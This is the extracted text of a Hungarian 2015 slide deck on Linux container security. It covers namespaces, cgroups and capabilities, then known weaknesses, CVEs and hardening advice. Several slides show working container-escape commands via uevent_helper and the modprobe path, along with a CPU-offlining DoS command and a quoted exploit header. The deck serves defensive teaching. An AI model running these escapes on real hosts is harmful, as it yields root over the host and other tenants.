andrews kft.andrews.hu/wp-content/uploads/2015/10/andrews-fsf-2015-konternerek... · zámbó...
TRANSCRIPT
Zámbó Marcell Az Andrews Kft.
131/<[email protected]>
Andrews Kft.Konténerek az IT biztonság
szemszögéből
Zámbó Marcell Az Andrews Kft.
231/
Röviden a virtualizációról
Az alap: egy vason, több rendszer.
Virtualizáció előnyei: Jobb erőforrás kihasználhatóság. Rendkívüli rugalmasság
új létrehozása, meglevő módosítása, másolása (clone), törlése, stb ...
Virtualizáció fajtái: Hypervisor alapú Operációs rendszer alapú igen, ők a konténerek← Alkalmazás alapú
Zámbó Marcell Az Andrews Kft.
631/
Virtualizációs tipúsokról vizuálisan :)
Hardver
Host OS kernel
Processz Processz Processz
Normál működés esetén
NET IPC USR
Zámbó Marcell Az Andrews Kft.
731/
Virtualizációs tipúsokról vizuálisan :)
Hardver
Host OS kernel
Processz Processz Processz
Normál működés esetén
NET IPC USR
Virtuális gépek esetén
Hardver
VM (processz) VM (processz)
Guest Kernel
Processz Processz Processz
Guest Kernel
Processz Processz ProcesszProcessz
Host OS kernel
NET IPC USR
NET IPC USR NET IPC USR
Virt HW Virt HW
Zámbó Marcell Az Andrews Kft.
831/
Virtualizációs tipúsokról vizuálisan :)
Processz
Hardver
Host OS kernel
Processz Processz Processz
Normál működés esetén
NET IPC USR
Virtuális gépek esetén
Hardver
VM (processz) VM (processz)
Guest Kernel
Processz Processz Processz
Guest Kernel
Processz Processz ProcesszProcessz
Host OS kernel
NET IPC USR
NET IPC USR NET IPC USR
Virt HW Virt HW
Zámbó Marcell Az Andrews Kft.
931/
Virtualizációs tipúsokról vizuálisan :)
Hardver
Host OS kernel
Processz Processz Processz
Normál működés esetén
NET IPC USR
Virtuális gépek esetén
Hardver
VM (processz) VM (processz)
Guest Kernel
Processz Processz Processz
Guest Kernel
Processz Processz ProcesszProcessz
Host OS kernel
NET IPC USR
NET IPC USR NET IPC USR
Virt HW Virt HW
Zámbó Marcell Az Andrews Kft.
1031/
Virtualizációs tipúsokról vizuálisan :)
Hardver
Host OS kernel
Processz Processz
Konténerek használata esetén
NET IPC USR NET IPC USR
Hardver
Host OS kernel
Processz Processz Processz
Normál működés esetén
NET IPC USR
Virtuális gépek esetén
Hardver
VM (processz) VM (processz)
Guest Kernel
Processz Processz Processz
Guest Kernel
Processz Processz ProcesszProcessz
Host OS kernel
NET IPC USR
NET IPC USR NET IPC USR
Virt HW Virt HW
Zámbó Marcell Az Andrews Kft.
1131/
Hypervisor vs Containers
Teljes hardver környezetet emulál: HW támogatás szükséges A host szempontjából a guest
csak 1 processz Host-tól független kernelt,
OS-t is képes futtatni Költségesebb a futtatása Felépítéséből eredően
biztonságosabb
A szükséges alrendszereket példányosítja csak: Nincs speciális HW igény A host szempontjából minden
futtatott alkalmazás processz egyedi processz
Felépítéséből eredően kicsi az overhead
Az összes guest alatt ugyanaz a kernel fut
Zámbó Marcell Az Andrews Kft.
1331/
Linux-os konténerek felépítése
Két fő részből tevődnek össze Namespace-ekből, feladatuk a példányosítás megvalósítása, fajtái:
Chroot/pivot_root … az elsők. MOUNT_NS Fájlrendszer (VFS) csatolásokra vonatkozó ns UTS_NS A hostnév névtérét fele. (a konténerünknek eltérhet a neve a hosttól) IPC_NS SHM, semaphores, message queues szerparációját valósítja meg USER_NS UID/GID-ek virtuális megfeleletetésér felel, a konténeren belül lehetnek
saját uid-ek és gid-ek ( - ebben volt egy nagyon csúnya bug, !0 0)→ PID_NS a konténeren belül saját PID névtér van, hiheti magáról bármely processz
hogy ő az 1-es PID (init), külső névtér nem címezhető pid alapjánPID_NS != /proc ns (ilyen nincs is ...)
NET_NS Teljes hálózati stack ...
Cgroups-okból – erőforrások korlátozása cpuset, cpu, cpuacct, freezer, memory, blkio és devices erőforrás csoportok
Egyéb: Capabilitik
Zámbó Marcell Az Andrews Kft.
1431/
Chroot
Rendszerhívás ill. a rá épülő segéd alkalmazás
(csak) fájlrendszer szintű szeparációt valósít meg a hívó process és leszármazottai számára
Ha nem megfelelően hívjuk akkor még fs szinten sem biztonságos
Karbantarthatóság?
/
/var /lib /etc
/var/www
/var
.../www/cgi
/var/www/
.../www/html
chdir(/var/www)chroot(.)
Zámbó Marcell Az Andrews Kft.
1531/
Namespace-ek tulajdonságai
Chroot (hierarchikus)
Network (izolált)
Mount (izolált/klónozható)
PID (hierarchikus)
UTS/Hostname (izolált)
UID (hierarchikus)
IPC (izolált)
A szülő láthatja a gyerek erőforrásait
Többféle családfa lehetséges.Izolált NS-ek, nincs kapcsolat
Bővebben: http://doger.io
Zámbó Marcell Az Andrews Kft.
1631/
Capability-k
A monolitikus root jog szétvált „capability”-kre
Ezek eldobhatóvá váltak, csak azt tartjuk meg ami valóban kell a programunk számára
Nem 0 uid is birtokolhatja
Parancsok: capsh, man 7 capabilities
Fontosabb capability-k:
cap_audit_(write|control)
cap_(mac|net|sys)_admin
cap_kill
cap_linux_immutable
cap_set_*
cap_sys_(chroot|module)
3.6.9-es kernelben 37 van
Zámbó Marcell Az Andrews Kft.
1731/
C(ontrol)groups
Erőforrás limitáció
Processz priorizálás
Accounting: az egyes erőforrások használatának mérésére
Kontroll: az egyes cgroup-ok leállítása, és újraindítása
Parancsok: man cgcreate
Szabályozható erőforrások:
CPU
Memória
Block device-ok elérési sebessége
Freezer alrendszer*
Hálózati sávszélessére nem nyújt megoldást, arra marad a tc
Zámbó Marcell Az Andrews Kft.
1931/
Hiányosságok, gyengeségek ...
A leggyengébb láncszem a közös kernel (nem Linux spec.) A virtualizált processzek közvetlenül a host kernellel állnak
kapcsolatban Egy kernel bugra épülő exploit visz mindent Hypervisor alapú sebezhetőségénél, ez többnyire csak az adott
guest-et viszi
/proc – mínusz PID_NS, /sys Pl: /proc/sys/vm/drop_cache, /proc/sysrq-trigger és társai echo 0 | tee /sys/devices/system/cpu/cpu*/online – ue memory-val
[409388.207773] kvm: disabling virtualization on CPU1 [409388.207790] smpboot: CPU 1 is now offline
Zámbó Marcell Az Andrews Kft.
2031/
Hiányosságok, gyengeségek ...
Ulimitek Mivel a konténerekben futó processzek a host kernel számára is
valódi processzek, így az egyes processzekre vonatkozó limitek ugyanúgy érvényesek a konténerekben futó processzekre.
Fork bombázás A cgroups erőforrás korlátozó beállításai ellenére is
kellemetlenek lehetnek a fork bombák: A limitált CPU-t kihajtja („Na és?!”) A limitált MEMoriát megeszi, swappelteti a rendszert Nyitott FD-ket szépen megeszi (másnak nem marad...) DoS!→
Max user processes, open files
Zámbó Marcell Az Andrews Kft.
2131/
Hiányosságok, gyengeségek ...
Audit alrendszer (3.7-es kernel óta OK, de előtte …)
A támadó az audit alrendszeren keresztül feltérképezhette a hoston és a többi konténerben futó processzeket, elég alaposan
Kmsg (dmesg) jelenleg is működik … a konténerből olvashatod a kernel üzeneteit,
támadásoknál ezek hasznosak lehetnek /proc/sys/kernel/dmesg_restrict a barátunk ilyenkor
[ http://lxr.free-electrons.com/diff/kernel/audit.c?v=3.6;diffvar=v;diffval=3.7 ]
3.6 3.7
Zámbó Marcell Az Andrews Kft.
2231/
Pivot_root / chroot
Mik ezek?
És hogyan lehet vele kitörni a konténerből vele? Chroot: This call does not close open file descriptors, and such file descriptors may allow access to files outside the chroot tree.
http://people.canonical.com/~serge/chrootintoslave/ Egy szép demonstárciója a problémának Lxc hív egy pivot_root vált rootfs-t, nyítva hagyja a kitöréshez →
szükséges fd-t lilo@hargita:~$ ps axfw | grep lxc-start -C110294 ? S 0:00 \_ lxc-start -n rr-2015082510310 ? Ss 0:00 \_ /sbin/init
lilo@hargita:~$ cd /proc; sudo ls -l 10294/root 10310/rootLrwxrwxrwx 1 0 0 0 okt 17 11:09 /proc/10294/root -> /Lrwxrwxrwx 1 0 0 0 okt 17 11:09 /proc/10310/root -> /
Zámbó Marcell Az Andrews Kft.
2331/
„kitörés” a sysfs-en keresztülHa root vagy a konténerben root leszel kint is ...
root@lxc# cat /tmp/evil_helper
#!/bin/bash
set >> /tmp/alma1
date >> /tmp/alma1
root@lxc# echo /var/lib/lxc/lxc/rootfs/tmp/evil_helper > /sys/kernel/uevent_helper
root@lxc# cat /sys/kernel/uevent_helper
/var/lib/lxc/lxc/rootfs/tmp/evil_helper
root@lxc# echo change > /sys/class/mem/null/uevent
hatására lefut a /var/lib/lxc/lxc/rootfs/tmp/evil_helper
Zámbó Marcell Az Andrews Kft.
2431/
„kitörés” a procfs-en keresztül root@lxc# cat /tmp/x
#!/bin/bash
mkdir /tmp/12345alma
root@lxc# cat /proc/sys/kernel/modprobe
/sbin/modprobe
root@lxc# echo /var/lib/lxc/lxc/rootfs/tmp/x > /proc/sys/kernel/modprobe
root@telekom-vpn:/proc# iptables -t raw -nL
iptables v1.4.21: can't initialize iptables table `raw': Table does not exist (do you need to insmod?)
root@host:ls -dl /tmp/12345alma/
drw-rw---- 2 root root 40 máj 19 09:41 /tmp/12345alma/
Zámbó Marcell Az Andrews Kft.
2531/
Ismert biztonsági hibák az implementációban [7.1] CVE-2010-0006: 2.6.32.4 olyan hibát tartalmazott mely csak a network namespace használata
esetén volt támadható
[???] git:41c21e351e: talán nem exploitálható user_namespace bug ...
[7.8] CVE-2011-2189: 2.6.35 DoS network namespace-en keresztül
[7.2] CVE-2013-1858: 3.8.3 biztosan exploitálható user_namespace bug … [Lásd következő slide-on]
[2.1] CVE-2013-1956: 3.8.6 át lehetett chrootolni más (akár több joggal rendelkező) namespace-ekbe
[4.7] CVE-2013-4205: 3.10.6 user_namespace memória szivágós DoS
[6.2] CVE-2014-4014: 3.14.8 állományrendszer capabilitik segítségével ki lehetett törni a konténerekből
[7.2] CVE-2014-5206: 3.16.1 nem védett a MNT_LOCK_READONLY mount flag módosítása ellen, újra lehetett mountolni RW módban
[6.0] CVE-2014-5207: 3.16.1 a fentiek mintájára a MNT_NODEV, MNT_NOSUID, és MNT_NOEXEC valamint MNT_ATIME_MASK opciók kijátszhatóak voltak egy kis bind mountolgatás segítségével*
[4.6] CVE-2014-8989: 3.17.4 lehetővé tette a csoporttagságok módosítását ezáltal a kizáró csoport alapú ACL-ek kijátszhatóak voltak
Zámbó Marcell Az Andrews Kft.
2631/
Egy két érdekesség a hibákról
/* FUSE-based exploit for CVE-2014-5207 Copyright (c) 2014 Andy Lutomirski Based on code that is: Copyright (C) 2001-2007 Miklos Szeredi <[email protected]> This program can be distributed under the terms of the GNU GPL. See the file COPYING. gcc -Wall fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid mkdir test ./fuse_suid test This isn't a work of art: it doesn't clean up after itself very well.*/
CVE-2014-5207 publikus exploitja
CVE-2013-1858 működése
Zámbó Marcell Az Andrews Kft.
2831/
Védelmi lehetőségek, teendők 1.
Az alaprendszer megerősítése Pax/Grsec, Apparmor, SELinux
Szedjük szét több gépre a konténereinket, biztonsági besorolásuk szerint (akár a valódi hostok hálózati szeparációja esetében)
Konténerek megerősítése Unpriveledged Containers, kontérnerek normál userként futnak! Capabilitik megfelelő használata
Állományrendszer szintű capability-k este …
lxc.cgroup.devices lxc.cgroup.devices.deny = a # mindent tilos, lxc.cgroup.devices.allow = … # kivéve amit szabad elv alkalmazása
Minimalizálni kell a konténerben rootként futó alkalmazások számát és – ha lehet – jogait.
Zámbó Marcell Az Andrews Kft.
2931/
Védelmi lehetőségek, teendők 2.
Seccomp alkalmazása Az LXC configban van rá lehetőség és példa konfig is
A /proc és /sys mountolásának felülvizsgálata (részleges mount, RO mount)
Auditd hangolása a konténerek felügyeletére
Securebits (SECURE_NOROOT, SET_DUMPABLE) és társainak használata, man prctl :)
Cgroups-ok mellett érdemes figyelni az rlimit-ek értékeire
Zámbó Marcell Az Andrews Kft.
3031/
Hasznos biztonsági kütyük
mbox http://pdos.csail.mit.edu/mbox/
firejail https://l3net.wordpress.com/projects/firejail/
minijail https://chromium.googlesource.com/chromiumos/platform/minijail/
Olvasnivalók https://www.kernel.org/doc/Documentation/namespaces/compatibility-list.txt
https://www.kernel.org/doc/Documentation/namespaces/resource-control.txt